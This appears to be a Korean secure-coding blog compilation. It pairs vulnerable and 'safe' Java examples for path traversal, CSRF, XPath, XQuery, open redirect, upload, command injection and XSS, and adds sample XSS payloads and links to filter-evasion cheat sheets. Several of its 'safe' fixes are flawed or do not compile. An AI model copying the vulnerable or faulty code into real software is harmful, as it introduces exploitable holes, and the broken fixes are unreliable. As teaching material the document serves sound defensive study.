발생원인


외부의 입력이 시스템에서 경로 등으로 활용되는 환경에서 입력값 검증이 없는 경우 발생



영향


임의의 파일 생성, 주요 파일 노출, 파일 삭제



코드예


 안전하기 않은 코드의 예 - JAVA

……

public void f(Properties request) {

……

String name = request.getProperty("filename");

if( name != null ) {

    File file = new File("/usr/local/tmp/" + name);

    file.delete();

}

  ……

}


 name에 대한 검증없이 사용


 안전한 코드의 예 - JAVA

……

public void f(Properties request) {

……

String name = request.getProperty("user");

if ( name != null && !"".equals(name) ) {

  name = name.replaceAll("/", "");

  name = name.replaceAll("\\", "");

  name = name.replaceAll(".", "");

  name = name.replaceAll("&", "");

  name = name + "-report";

  File filenew File("/usr/local/tmp/" + name);

  if (file != null) file.delete();

 }

  ……

}

 name에대해 위험한 문자 치환 추가


블로그 이미지

오픈이지 제로킴

시큐어코딩 교육/컨설팅 전문가 그룹


발생원인


서버에 검증없이 외부의 입력값을 저장하여 해당 내용을 열람할 경우 발생


CSRF(Cross Site Response Forgery)의 약어로 XSS를 이용한 요청위조를 의미한다.

XSS와의 가장 큰 차이점은 공격대상이 클라이언트냐 서버냐에 따라 구분할 수있다.


특정 페이지에서 공격자는 자신이 원하는 스크립트를 게시판에 삽입하고 누군가가 게시판을 읽기를 기다리면 된다. 


CSRF는 세션쿠키, SSL인증서, 윈도 도메인 인증과 같이 자동으로 입력된 신뢰 정보를 기반으로 한 웹어플리케이션에서 사용자의 신뢰 정보내에서 사용자의 요청을 변조함으로 써 해당 사용자의 권한으로 악의적인 공격을 수행할 수 있는 취약점이다. 


원클릭 공격, 사이드 재킹, 세션 라이딩 등으로 알려져 있고, XSS와 유사하지만 XSS의 경우 악성 스크립트를 웹사이트에 삽입해야 하지만 CSRF공격은 사이트가 신뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 전송하도록 하는 기법을 사용한다. 사용자를 통해 이루어지는 공격이기 때문에 공격자의 IP추적은 현실적으로 불가능하다.


CSRF 공격은 사용자가 로그인한 상태에서만 접속할 수 있는 웹페이지나 스크립트를 대상으로 하며, 공격 대상이 사이트에 접속하고 나면 아직 세션 정보가 남아있는 상태이고, 이틈을 노려 공격자가 게시판에 남겨 놓은 글을 공격 대상이 읽게되면 해당 링크가 요청되면서 공격이 실행된다.



영향 


게시판 도배, 권한 상승, 자동가입등



점검방법


애플리케이션에서 XSS 취약점 존재 여부를 확인한다.

소스 코드에서 임의의 토큰을 사용하는지 확인한다.


공격자의 경우 공격대상이 로그인한 사이트의 취약점을 잘 알고 있어야 한다. 사이트가 자동 로그인을 허용하거나 공격대상이 현재 로그인 상태여야 한다. 사이트에서 특정 동작을 수행할 때 사용자 세션외에 다른 확인 절차를 밟지 않아야 공격이 성공하게 된다.



대응방안


CSRF공격을 막기 위해서는 사용자 세션이외 다른 확인 절차를 밟도록 하는것이다. 인증용 hidden 필드를 모든 form에 넣어주고 동작을 수행하기전에 form에 넣어 두었던 hidden 필드값이 들어왔는지 다시 한번 확인한다면 가장 효과적으로 공격을 막을 수있다.


메소드가 GET인지 POST인지 구분하는 방법도 있지만 스크립트를 이용해 POST를 보내는 방식으로 CSRF공격을 시도할 가능성도 있으므로 확실한 대응방법이라고 보기는 어렵다.


Refer를 확인해서 신뢰할 수 있는 위치에서 온 요청인지 검증한다.


서버에서 쿠키 이외의 다른 파라메타 값으로 추가 인증을 처리한다. - 중요한 작업을 처리하는 경우 공인인증서나 보안 카드 같은 추가 인증 수단을 사용하면 거의 공격은 불가능하다.


값이 매번 바뀌는 one time 값을 사용한다. --> 인증값을 알아내기도 힘들뿐 더러 사용 마다 인증값이 바뀌기 때문에 공격이 거의 불가능하다.


XSS 스크립트의 실행방지  --> XSS 취약점이 존재하지 않더라고 스크립트를 실행시킬수 있다. XSS만 막았다고 CSRF를 막았다고 안심할 수 없다.


IPS나 웹 방화벽을 사용한다. --> CSRF는 정상적인 HTML 스크립트 이기 때문에 보안 솔루션으로 방어를 하기는 어렵고 중요 공격 로직을 파악하고 분석하여 안전한 웹 애플리케이션을 개발하는것이 확실하다.


 코드예



 안전하기 않은 코드의 예 - JAVA

……

<form name="MyForm" method="get action="customer.do">

<input type=text name="txt1">

<input type=submit value="보내기">

</form>

……

 GET방식 사용

 


 안전한 코드의 예 - JAVA

……

<form name="MyForm" method="post" action="customer.do">

<input type=text name="txt1">

<input type=submit value="보내기">

</form>

…… 

POST 방식 사용


 



블로그 이미지

오픈이지 제로킴

시큐어코딩 교육/컨설팅 전문가 그룹


발생원인


LDAP 명령어에 대한 검증 처리가 없는 경우 발생

 

영향


 정보 유출/ 조작



<참고> LDAP(Lightweight Directiry Access Protocol)은 조직이나 개체, 그리고 인터넷 이나 기업내의 인프라넷등 네트워크 상에 있는 파일이나 장치들과 같은 자원등의 위치를 찾을 수 있게 해주는 소프트웨어 프로토콜이다.  

LDAP은 네트웍 내의 디렉토리 서비스 표준인 X.500의 일부이다. 


Netscape는 자신들의 커뮤니케이터 최신판에 LDAP을 표함하고 있다. 마이크로소프트는 액티브 디렉토리라고 부르는 제품의 일부로서 LDAP을 포함하였다. 노벨 네트워크 디렉토리 서비스는 LDAP와 상호운영된다.



<참고2> LDAP은 어떻게 작동하는가?

LDAP디렉토리 서비스는 클라이언트-서버 모델에서 기초하는데 하나 또는 그 이상의 LDAP서버들이 LDAP 디렉토리 트리 또는 백엔드 데이터베이스를 구성하는 자료를 가지고 있다. LDAP 클라이언트는 LDAP서버에 연결해 질의하며 서버는 답 또는 클라이언트가 더 많은 정보를 얻을 수 있는 포인터를 가지고 응다한다.


클라이언트는 어떤 LDAP서버에 연결하던간에 동일한 디렉토리 구조를 본다. 


LDAP문서 참조: http://jabcholove.tistory.com/89

 

 

LDAP 자바에서 사용하기

 

출처: http://mrtint.tistory.com/708

 

현재의 개발 환경에서는 LDAP 를 통한 Directory 정보들을 수집해야할 일이 상당히 많다.

여지껏 .NET 으로의 개발은 여러번 있어서 어렵지 않게 했지만.. Java 로 해야할 일이 생겨서 이리저리 API들을 확인하면서 작업해 보았다.


일단 핵심이 되는 API는 javax.naming 이라는 패키지, 이부분이 모든 LDAP 통신을 위한 API들이 있는 패키지 이므로 기억해 두는 것이 좋다.


핵심이 되는 몇몇 Class 들이 있는데, 그 중 4개 정도가 주된 것이니 이 또한 기억해두도록 하자.

 


 

javax.naming.directory.InitialDirContext

javax.naming.directory.SearchControls

javax.naming.directory.SearchResult

javax.naming.directory.Attribute

 



  1. javax.naming.directory.InitialDirContext
    • 디렉토리 서비스의 Base 가 되는 클래스 이다. 좀 더 이해하기 쉽게 말하면, JDBC의 Connection 인터페이스와 같은 역할을 한다. LDAP 통신을 하기위한 Host 정보나 인증 절차를 위한 계정, 비밀번호와 같은 것들을 설정하여 해당 디렉토리 서버와의 연결을 만들어내는 역할을 한다.
  2. javax.naming.directory.SearchControls
    • 생성된 Context 를 통해서 LDAP 경로 및 필터 문자열을 통해 개체 정보를 검색하는 역할을 한다.
  3. javax.naming.directory.SearchResult
    • 검색된 결과 개체의 데이터 유형이다. 해당 클래스의 getAttributes() 메소드를 이용하여 해당 개체의 정보들을 추출해 낼 수 있다.
  4. javax.naming.directory.Attribute
    • 이는 AD의 개체의 특정 항목 정보를 담고 있다. 

 


구글링을 통해서 검색해 보면 얼마든지 Java 라는 언어로 LDAP 프로그래밍 하는 방법은 나와있지만 대부분이 샘플 예제를 덩그러니 가져다 놓은 케이스들이 많아서 실제 구현에는 그닥 도움이 안되는 부분이 있다. 그래서 개발 도중에 삽질을 했던 부분이 다소 있다. 이런 부분을 속 시원하게 긁어주는 편이 글을 보는 이로 하여금 더 도움이 되지 않을까 한다.


<LDAP 접속 정보 설정은 어떻게 하는가>


 

Hashtable<String, String> properties = new Hashtable<String, String>();

properties.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");

properties.put(Context.PROVIDER_URL, path);

properties.put(Context.SECURITY_AUTHENTICATION, "simple");

properties.put(Context.SECURITY_PRINCIPAL, userId);

properties.put(Context.SECURITY_CREDENTIALS, passwd);


거의 구글링을 해보면 뒤의 설정 정보가 거의 대부분이다. 그 이상은 더 뭘 해줄 필요가 없다.
properties.put(Context.SECURITY_AUTHENTICATION, "simple"); 
-> 여기는 simple 대신에 none 을 써주면 아래 userId 나 passwd 를 설정해주지 않아도 된다. 단 해당 LDAP 호스트에서 익명 조회가 가능하도록 설정 해 두었을때 이야기다.

properties.put(Context.SECURITY_PRINCIPAL, userId); 
-> 예를 들어 계정이 foo 라는 계정으로 인증하길 원할 경우에는 단순하게 foo 를 입력하면 인증이 안되는 경우가 발생 된다. 왜 안되지 하고 있지말고 다음과 같이 해보자. 그러면 인증이 제대로 될거다. 도메인 컨트롤러 호스트명이 ds.mycompany.com 이고 도메인 컨트롤러 이름이 mycompany 라고 치자. 이럴 경우 foo 라고 해봐야 계속 인증에 실패만 할 것이다.
foo@mycompany 혹은 foo@ds.mycompany.com 으로 시도 해보면 인증이 이루어지는 것을 확인할 수 있다.

또한 패스워드 부분이 null 이거나 공백없는 문자열 ("") 일 경우에는 인증 과정이 이루어지지 않는다는 것을 기억하자.

<javax.naming.directory.DirContext.search(String name, String filter, SearchControls) 메소드의 name 이라는 인수는 뭐하는 놈인가?>

NamingEnumeration<SearchResult> results = context.search("OU=Employees,DC=ds,DC=mycompany,DC=com", filterString, searcher);

Copy & Paste 해온 소스를 돌렸을때 제일 짜증나는 부분이 여기였다. 첫번째 인수인 name 이라는 녀석이 너무 불분명해서 찾기가 조금 힘든 편이였는데, 쟤는 DC 이름 OU, CN 과 같은 디렉토리 폴더 정보들을 명시해주는 부분이었다. 트리 구조 형태로 되어있는 자료형의 디렉토리 서비스에는 베이스가 되는 디렉토리 정보가 필요한데, 그 부분을 명시해 주는 것이다. 공란으로 해놓은 곳도 많은데 이는 보안 상 공란 처리 했지 싶다.

소스는 첨부파일로 확인하면서 내용을 보면 더 쉽게 이해 갈 수 있다.


블로그 이미지

오픈이지 제로킴

시큐어코딩 교육/컨설팅 전문가 그룹


발생원인 


외부 입력값을 적절한 검사과정 없이 XPath 쿼리문 생성에 이용할 경우 발생


영향


데이터 변조, 조회, 인증 우회


코드예



 안전하기 않은 코드의 예 - JAVA

……

// 외부로 부터 입력을 받음

String name = props.getProperty("name");

String passwdprops.getProperty("password");

……

XPathFactory factory = XPathFactory.newInstance();

XPath xpath = factory.newXPath();

……

// 외부 입력이 xpath의 인자로 사용

XPathExpression exprxpath.compile("//users/user[login/text()='" +name + "' and password/text() = '" + 

 passwd + "']/home_dir/text()");

Object result = xpr.evaluate(doc,XPathConstants.NODESET);

NodeList nodes = (NodeList) result;

for (int i = 0; i < nodes.getLength(); i++){

  String value =  nodes.item(i).getNodeValue();

  if (value.indexOf(">") < 0) {

          System.out.println(value);

}

……


 Name과 passwd에 대한 입력값 검증을 수행하지 않음



 안전한 코드의 예 - JAVA

dologin.xp 파일

declare variable $loginID as xs:string external;

declare variable $password as xs:string external;

//users/user[@loginID=$loginID

//and @password=$password]

//XQuery를 이용한 XPath Injection 방지


//외부로 부터 입력을 받음

String name = props.getProperty("name");

String passwd = props.getProperty("password");

Document doc = new Builder().build("users.xml");

// XQuery를 위한 정보 로딩

XQuery xquery = new XQueryFactory().createXQuery(new File("dologin.xq"));

Map vars = new HashMap();

vars.put("loginID", name);

vars.put("password", passwd);

Nodes results = xquery.execute(doc, null, vars).toNodes();


for (int i=0; i < results.size(); i++){

    System.out.println(results.get(i).toXML());

}

 쿼리 구조가 변경되는 것을 막는 형태로 구성



<참고> XPath 란?

XML문서의 part를 정의하기 위한 문법이다. XML내부를 검색하기 위한 path expression을 사용한다. XPath는 표준함수의 라이브러리를 갖고 있다.  W3C표준이다.

 

XPath 예제

이 항목에서는 XPath 참조 전체에 나타나는 구문 예제를 살펴봅니다. 모든 예제는 XPath 구문에 대한 샘플 XML 파일(inventory.xml)을 기반으로 합니다. 테스트 파일에서 XPath 식을 사용하는 예제는 이 항목 하단의 "통합( | ) 예제"를 참조하십시오.

 

참조 항목

./author

현재 컨텍스트 내에 있는 모든 <author> 요소. 이 식은 다음 행에 나온 식과 같습니다.

author

현재 컨텍스트 내에 있는 모든 <author> 요소

first.name

현재 컨텍스트 내에 있는 모든 <first.name> 요소

/bookstore

이 문서의 문서 요소(<bookstore>)

//author

문서에 있는 모든 <author> 요소

book[/bookstore/@specialty=@style]

style 특성 값이 문서의 루트에 있는 <bookstore> 요소의 specialty 특성 값과 같은 모든 <book> 요소

author/first-name

<author> 요소의 자식인 모든 <first-name> 요소

bookstore//title

<bookstore> 요소(임의의 하위 항목)에서 수준이 하나 이상인 모든 세부 <title> 요소. 이 식은 다음 행에 나온 식과 다릅니다.

bookstore/*/title

<bookstore> 요소의 최하위인 모든 <title> 요소

bookstore//book/excerpt//emph

<bookstore> 요소 내에 있는 <book> 요소의 <excerpt> 자식 내에 있는 모든 <emph> 요소

.//title

현재 컨텍스트에서 수준이 하나 이상인 모든 세부 <title> 요소. 이 상황은 유일하게 기간 노테이션이 필요한 경우입니다.

author/*

<author> 요소의 모든 자식 요소

book/*/last-name

<book> 요소의 최하위인 모든 <last-name> 요소

*/*

현재 컨텍스트의 모든 최하위 요소

*[@specialty]

specialty 특성이 있는 모든 요소

@style

현재 컨텍스트의 style 특성

price/@exchange

현재 컨텍스트 내에 있는 <price> 요소의 exchange 특성

price/@exchange/total

특성에 요소 자식이 포함되지 않았으므로 빈 노드 집합을 반환합니다. 이 식은 XPath(XML Path Language) 문법상 허용되지만 엄격히 말하면 유효하지 않습니다.

book[@style]

현재 컨텍스트의 style 특성이 있는 모든 <book> 요소

book/@style

현재 컨텍스트의 모든 <book> 요소에 대한 style 특성

@*

현재 요소 컨텍스트의 모든 특성

./first-name

현재 컨텍스트 노드에 있는 모든 <first-name> 요소. 이 식은 다음 행에 나온 식과 같습니다.

first-name

현재 컨텍스트 노드에 있는 모든 <first-name> 요소

author[1]

현재 컨텍스트 노드에서 첫 번째 <author> 요소

author[first-name][3]

<first-name> 자식 요소가 있는 세 번째 <author> 요소

my:book

my 네임스페이스의 <book> 요소

my:*

my 네임스페이스의 모든 요소

@my:*

my 네임스페이스의 모든 특성. 여기에는 my 네임스페이스의 요소에서 비정규화된 특성이 포함되지 않습니다.

 

인덱스는 부모에 상대적입니다. 다음 데이터를 살펴보십시오.

<x>
  <y/>
  <y/>
</x>
<x>
  <y/>
  <y/>
</x>

 

참조 항목

x/y[1]

<x>의 첫 번째 <y> 자식.이 식은 다음 행에 나온 식과 같습니다.

x/y[position() = 1]

<x>의 첫 번째 <y> 자식

(x/y)[1]

<x> 요소의 전체 <y> 자식 집합에서 첫 번째 <y>

x[1]/y[2]

첫 번째 <x>의 두 번째 <y> 자식

 

나머지 예제는 XPath에 대한 샘플 XML 파일을 참조합니다.

 

참조 항목

book[last()]

현재 컨텍스트 노드의 마지막 <book> 요소

book/author[last()]

현재 컨텍스트 노드에서 각 <book> 요소의 마지막 <author> 자식

(book/author)[last()]

현재 컨텍스트 노드에서 <book> 요소의 전체 <author> 자식 집합에서 마지막 <author> 요소

book[excerpt]

<excerpt> 요소 자식이 하나 이상 포함된 모든 <book> 요소

book[excerpt]/title

<excerpt> 요소 자식이 하나 이상 포함된 <book> 요소의 자식인 모든 <title> 요소

book[excerpt]/author[degree]

<degree> 요소 자식이 하나 이상 포함되어 있고, <excerpt> 요소가 하나 이상 포함된 <book> 요소의 자식인 모든 <author> 요소

book[author/degree]

<degree> 자식이 하나 이상 포함된 <author> 자식을 포함하는 모든 <book> 요소

author[degree][award]

<degree> 요소 자식과 <award> 요소 자식이 하나 이상 포함된 모든 <author> 요소

author[degree and award]

<degree> 요소 자식과 <award> 요소 자식이 하나 이상 포함된 모든 <author> 요소

author[(degree or award) and publication]

<degree> 또는 <award> 요소 하나 이상과 <publication> 요소가 자식으로 하나 이상 포함된 모든 <author> 요소

author[degree and not(publication)]

<degree> 요소 자식이 하나 이상 포함되어 있고 <publication> 요소 자식이 포함되지 않은 모든 <author> 요소

author[not(degree or award) and publication]

<publication> 요소 자식이 하나 이상 포함되어 있고 <degree><award> 요소 자식이 포함되지 않은 모든 <author> 요소

author[last-name = "Bob"]

값이 Bob<last-name> 요소 자식이 하나 이상 포함된 모든 <author> 요소

author[last-name[1] = "Bob"]

첫 번째 <last-name> 자식 요소의 값이 Bob인 모든 <author> 요소.이 식은 다음 행에 나온 식과 같습니다.

author[last-name [position()=1]= "Bob"]

첫 번째 <last-name> 자식 요소의 값이 Bob인 모든 <author> 요소

degree[@from != "Harvard"]

from 특성이 "Harvard"가 아닌 모든 <degree> 요소

author[.= "Matthew Bob"]

값이 Matthew Bob인 모든 <author> 요소

author[last-name = "Bob" and ../price &gt; 50]

값이 Bob<last-name> 자식 요소와 값이 50보다 큰 <price> 형제 요소가 포함된 모든 <author> 요소

book[position() &lt;= 3]

처음 세 책(1, 2, 3)입니다.

author[not(last-name = "Bob")]

값이 Bob<last-name> 자식 요소가 포함되지 않은 모든 <author> 요소

author[first-name = "Bob"]

값이 Bob<first-name> 자식이 하나 이상 포함된 모든 <author> 요소

author[* = "Bob"]

값이 Bob인 자식 요소가 포함된 모든 author 요소

author[last-name = "Bob" and first-name = "Joe"]

값이 Bob<last-name> 자식 요소와 값이 Joe<first-name> 자식 요소가 포함된 모든 <author> 요소

price[@intl = "Canada"]

컨텍스트 노드에서 intl 특성이 "Canada"인 모든 <price> 요소

degree[position() &lt; 3]

컨텍스트 노드의 자식인 처음 두 <degree> 요소

p/text()[2]

컨텍스트 노드의 각 <p> 요소에서 두 번째 텍스트 노드

ancestor::book[1]

컨텍스트 노드의 가장 가까운 <book> 상위 요소

ancestor::book[author][1]

컨텍스트 노드의 가장 가까운 <book> 상위 요소이며 이 <book> 요소에는 <author> 요소가 자식으로 포함되어 있습니다.

ancestor::author[parent::book][1]

현재 컨텍스트의 가장 가까운 <author> 상위 요소이며 이 <author> 요소는 <book> 요소의 자식입니다.

 

통합예제

다음 XPath 식을 사용하여 통합 연산에 대해 알 수 있습니다.

x | y/x

다음 XML 파일에서 값이 green 또는 blue인 <x> 요소를 모두 선택합니다.

 

XML 파일(data1.xml)

 

<?xml version='1.0'?>
<?xml-stylesheet type="text/xsl" href="union.xsl"?>
<root>
   <x>green</x>
   <y>
      <x>blue</x>
      <x>blue</x>
   </y>
   <z>
      <x>red</x>
      <x>red</x>
   </z>
   <x>green</x>
</root>


XSLT 파일(union.xsl)

 

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:template match="root">
   <xsl:for-each select="x | y/x">
      <xsl:value-of select="."/>,
      <xsl:if test="not(position()=last())">,</xsl:if>
   </xsl:for-each>
</xsl:template>

</xsl:stylesheet>


서식이 지정된 출력

green,blue,blue,green

프로세서 출력

<?xml version="1.0" encoding="UTF-16"?>green,blue,blue,green


블로그 이미지

오픈이지 제로킴

시큐어코딩 교육/컨설팅 전문가 그룹


발생원인


XQuery를 사용하는 페이지에서 입력값 검증을 하지 않은 경우 발생


영향


데이터 무단 조회, 인증절차 우회



코드예



 안전하기 않은 코드의 예 - JAVA

   // 외부로 부터 입력을 받음

 String name = props.getProperty("name");

  Hashtable env = new Hashtable();

  env.put(Context.INITIAL_CONTEXT_FACTORY  "com.sun.jndi.ldap.LdapCtxFactory");

  env.put(Context.PROVIDER_URL "ldap://localhost:389/o=rootDir");

  javax.naming.directory.DirContext ctx = new InitialDirContext(env);

  javax.xml.xquery.XQDataSource xqds = (javax.xml.xquery.XQDataSource

  ctx.lookup("xqj/personnel");

 Javax.xml.xquery.XQConnection conn = xqds.getConnection();

 String es =   "doc('users.xml')/userlist/user[uname='"  +name + "']";

 

  // 입력값이 Xquery의 인자로 사용

  XQPreparedExpression expr =  conn.prepareExpression(es);

 XQResultSequence result =  expr.executeQuery();

……

 

 외부의 입력(name)값의 검증을 수행하지 않음. 

 

 


 

 안전한 코드의 예 - JAVA

  ……

 // 외부로 부터 입력을 받음

 String name = props.getProperty("name");

 Hashtable env = new Hashtable();

 env.put(Context.INITIAL_CONTEXT_FACTORY "com.sun.jndi.ldap.LdapCtxFactory");

 env.put(Context.PROVIDER_URL,   "ldap://localhost:389/o=rootDir");

 javax.naming.directory.DirContext ctx =  new InitialDirContext(env);

 javax.xml.xquery.XQDataSource xqds =  (javax.xml.xquery.XQDataSource

 ctx.lookup("xqj/personnel");

 javax.xml.xquery.XQConnection conn = xqds.getConnection();

 String es = "doc('users.xml')/userlist/user[uname='$xpathname']";


 // 입력값이 Xquery의 인자로 사용

 XQPreparedExpression expr =  conn.prepareExpression(es);

expr.bindString(new QName("xpathname"), name, null);

XQResultSequence result = expr.executeQuery();

while (result.next()) {

  String str = result.getAtomicValue();

  if (str.indexOf('>') < 0) {

        System.out.println(str); 

  }

 ……

 bindString 함수로 쿼리 구조 변경 방지 



<참고> XQuery는 XML문서의 검색과 생성을 위한 서버 사이드 솔루션으로 SQL과 유사한 구문이며 객체 지향 프로그램 언어 형식을 띤 XML을 위한 Query 언어이다.


XQuery는 웹서비스에서 사용할 수 있는 정보를 추출할때, 요약보고서를 만들어야 할 때, XML data를 XHTML로 변환할때, 관련된 정보를 웹문서에서 검색할 때 사용한다.




블로그 이미지

오픈이지 제로킴

시큐어코딩 교육/컨설팅 전문가 그룹


발생원인


입력값을 자동으로 redirection 하는 사이트에서 입력값 검증이 없는 경우 발생한다.


영향


피싱이나 XSS



코드예



 안전하기 않은 코드의 예 - JAVA

……

protected void doGet(HttpServletRequest  request, HttpServletResponse response)

       throws ServletException, IOException {


 String query = request.getQueryString();

 if (query.contains("url")) {

   String url = request.getParameter("url");

   response.sendRedirect(url);  

 }

……

 

 url 파라미터에 대한 검증을 수행하지 않음

 

 


 안전한 코드의 예 - JAVA

protected void doGet(HttpServletRequest request, HttpServletResponse response) 

        throws ServletException, IOException {

 

 // 다른 페이지 이동하는 URL 리스트를 만든다.

 String allowURL[] = {  "http://url1.com", 

                               "http://url2.com", 

                               "http://url3.com" };

 

 // 입력받는 url은 미리 정해진 URL의 order로 받는다.

 String nurl = request.getParameter("nurl");

 try {

        Integer n = Integer.parseInt(nurl);

        if ( n >= 0 && n < 3)

                response.sendRedirect(allowURL[n]);

 } catch (NumberFormatException nfe) {

   //  입력값이 숫자가 아닐 경우 적절히 에러를 처리한다.

  }

}

 이동에 대한 URL을 선택하게 한다.



블로그 이미지

오픈이지 제로킴

시큐어코딩 교육/컨설팅 전문가 그룹


발생원인


파일 업로드가 가능한 페이지에서 업로드 파일에 대한 검증을 수행하지 않을 경우 발생한다.


영향


시스템 내부 명령어 실행 및 제어가능


코드예



 

 안전하기 않은 코드의 예 - JAVA
 ……

public void upload(HttpServletRequest request) throws ServletException {

   MultipartHttpServletRequest mRequest = (MultipartHttpServletRequest) request;

   String next = (String) mRequest.getFileNames().next();

   MultipartFile file = mRequest.getFile(next);


   // MultipartFile로부터 file을 얻음

  String fileName = file.getOriginalFilename();


   // upload파일에 대한 확장자 체크를 하지 않음

   File uploadDirnew File("/app/webapp/data/upload/notice");

   String uploadFilePathuploadDir.getAbsolutePath()+"/" + fileName;


    /* 이하 file upload 루틴 */

……

 업로드 파일에대한 검증 수행이 없음



 

 안전한 코드의 예 - JAVA

 

 String next =  (String) mRequest.getFileNames().next();

 MultipartFile file = mRequest.getFile(next);

 

 if ( file == null ) return ;

    // 화이트리스트 방식으로 업로드 파일의 확장자를 체크한다.

    if ( fileName != null ) {

   if ( fileName.endsWith(".doc") ||  fileName.endsWith(".hwp") 

      || fileName.endsWith(".pdf") || fileName.endsWith(".xls") )  {

              /* file 업로드 루틴 */

             // 저장 시 파일명을 외부 사용자가 추측할 수 없는 형태로 변경

             // 외부에서 직접적으로 접근할 수 없는 경로에 파일을 저장한다

         ...

   } else  throw new ServletExeption("에러");


 /* 이하 file upload 루틴 */

 ……

 파일 확장자 체크 수행




<참고> 웹쉘(web shell)


웹쉘은 악의적인 목적으로 웹서버에서 임의의 명령을 실행할 수 있도록 제작된 프로그램이다. 일반적으로 jsp, php,asp 같은 스크립트로 간단하게 작성한다. 이 스크립트들은 웹서버의 취약점을 통해 웹서버에 업로드 되면 이후에는 공격자가 웹서버 환경에서 임의의 명령어를 실행할 수 있다.


웹쉘을 방어하기 위해서는...

웹셀은 다양한 경로로 웹서버에 업로드할 수 있고, 일단 웹쉘이 설치되면 웹쉘을 이용하는것과 정상적인 웹페이지들을 이용하는것에서 큰차이가 없으므로 탐지가 어렵다. 

웹쉘방어에 효과적인 대응을 위해 웹서버에 파일업로드를 효과적으로 제어하여야 한다.  적절한 기능을 갖춘 웹방화벽을 도입하거나, 웹서버에서 업로드된 파일들이 실행권한이 없도록 웹서버의 환경을 설정해야 한다. 

웹쉘의 이용을 탐지하는 방법을 갖추는것도 필요하다. 일반적으로 공격자는 웹쉘을 통해 특정 시스템 명령어를 이용하거나 상위 디렉토리 또는 특정 디렉토리에 접근한다. 이런 명령어들을 탐지함으로써 웹쉘의 이용을 차단하고 웹쉘의 조재 여부를 판단할수 있다.




블로그 이미지

오픈이지 제로킴

시큐어코딩 교육/컨설팅 전문가 그룹


발생원인


입력값이 시스템의 명령어로 이용되는 환경에서 입력값 검증을 하지 않은 경우에 발생


영향


시스템 명령어 수행으로 인한 시스템 점령및 파괴


코드예


 


 안전하기 않은 코드의 예 - JAVA

 ……

 props.load(in);

 String version = props.getProperty("dir_type");

 String cmd new String("cmd.exe /K \"rmanDB.bat \"");

 Runtime.getRuntime().exec(cmd " c:\\prog_cmd\\" + version);

……

 dir_type값에 대한 검증을 수행하지 않음


 안전한 코드의 예 - JAVA

 ……

   props.load(in);

   String version[] = {"1.0", "1.1"};

   int versionSelection Integer.parseInt( props.getProperty("version"));

   String cmdnew String("cmd.exe /K \"rmanDB.bat \"");

   String vs = "";

   if (versionSelection == 0)

               vs = version[0];

   else if (versionSelection == 1)

                   vs = version[1];

           else

                   vs = version[1];

 Runtime.getRuntime().exec(cmd " c:\\prog_cmd\\" + vs);

……

 입력값을 선택할 수 있게 수정




블로그 이미지

오픈이지 제로킴

시큐어코딩 교육/컨설팅 전문가 그룹


발생원인


조작된 웹페이지 또는 URL을 사용자가 열람하였을 경우 발생한다. 

대부분의 웹 공격 기법이 서버의 취약성에 대해 공격이 이루어지지만, XSS는 클라이언트를 직접적으로 공격하는 기법이다. 악성코드를 숨겨 놓은 게시판의 글이나 문서, 메일 등을 클릭하여 읽을때 스크립트로 인하여 악성코드에 감염되거나 사용자의 정보를 공격자에게 넘겨주게 된다. 


XSS는 사회공학기법을 이용한다. 즉 간접적으로 신뢰하는 사이트의 게시물이나 이메일등을 이용하여 사용자가 모르는 사이에 공격자가 원하는 방향으로 이끌게 된다.

XSS 공격은 주로 사용자의 SessionID나 Cookie값을 훔쳐내어 권한을 훔쳐내는 기법으로 사용된다.



점검방법


웹페이지에 게시판, 민원신청, 여론마당등 일반 사용자들이 그을 게시할 수 있는 기능이 있는지 접검한다.

간단한 스크립트 문장 <script>alert('xss 취약점존재');</script>을 게시물로 작성하고 해당 게시물을 읽어봤을때 경고창이 뜨는지 확인한다.


조치방법


글쓰기가 가능한 게시판 페이지에서 사용자들의 입력에 대해 스크립트를 모두 필터링하도록 코드를 작성한다.



코드예



 안전하기 않은 코드의 예 - JAVA

 

  <h1>XSS Sample</h1> 

 <% String name = request.getParameter("name"); %>

 <p>NAME:<%=name%></p>

 

 name에 대한 검증을 수행하지 않음


 안전한 코드의 예 - JAVA

 <% 

       String name = request.getParameter("name");

       if ( name != null ) {

              name = name.replaceAll("<","&lt;");

              name = name.replaceAll(">","&gt;");

              name = name.replaceAll("&","&amp;");

              name = name.replaceAll("“”","&quot;");

       }

      else {

             return;

      }

%>

 name에 대해 주요 스크립트 변경 수행




CASE1. Stroed XSS 공격

           공격자가 XSS 보안 취약점 공격을 위해 메시지나 방명록, 댓글을입력하는 Form 필드부분에 악의적인 스크립트를 저장하고 후에 어떤 사용자가 해당 사이트의 같은 곳을 방문하면 해당 스크립트가 웹페이지에서 로드되면서 코드가 실행되는 것이다.


CASE2. Reflected XSS 공격

           URL의 CGI 인자에 스크립트 코드를 삽입하는 방식이다. 공격자가 이메일을 이용해 어떤 웹 페이지 링크를 보내고 그 링크를 전달받은 사용자가 링크를 클릭하면 그 링크에 대한 웹 페이지가 로드된다. 이 때 웹 ㅔ이지에 대한 링크 URL에 삽입된 스크립트 코드가 실행되면서 웹페이지의 내용이 변경된다. 이 공격은 스크립트를 저장하기 위한 웹사이트는 필요하지 않으며 사용자가 조작된 링크 주소를 클릭하면 링크에 대한 웹페이지가 로드 되면서 스크립트 코드가 실행된다.



공격방법


<img src="path/image.gif">   ==> <img src=javascript:alert("XSS alert")>


XSS를 유발 시킬 수 있는 대표적인 코드"

<script> . . . . </script>

<img src="javascript:. . ." />

<div style= "background-image:url(javascript. . .)" />

<embed> . . . </embed>

<Iframe> . . . </Iframe>


<참고> 다양한 XSS 패턴

http://ha.ckers.org/xss.html  사이트의 패턴등을 방어해야 한다.

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet






블로그 이미지

오픈이지 제로킴

시큐어코딩 교육/컨설팅 전문가 그룹


발생원인


외부 입력값이 내부 자원에 대한 식별자가 되는 환경에서 입력값을 검증하지 않을 경우 발생한다.



영향


시스템 내부 자원 접근, 수정, 자원간의 충돌 발생



코드예



 

 안전하기 않은 코드의 예 - JAVA

……

public void f() throws IOException {

  int def = 1000;

  ServerSocket serverSocket;

  Properties props = new Properties();

  String fileName = "file_list";

  FileInputStream in = new FileInputStream(fileName);

  props.load(in);

 

  // 외부에서 입력한 데이터를 받는다.

 

  String service = props.getProperty("Service No");

  int port = Integer.parseInt(service);
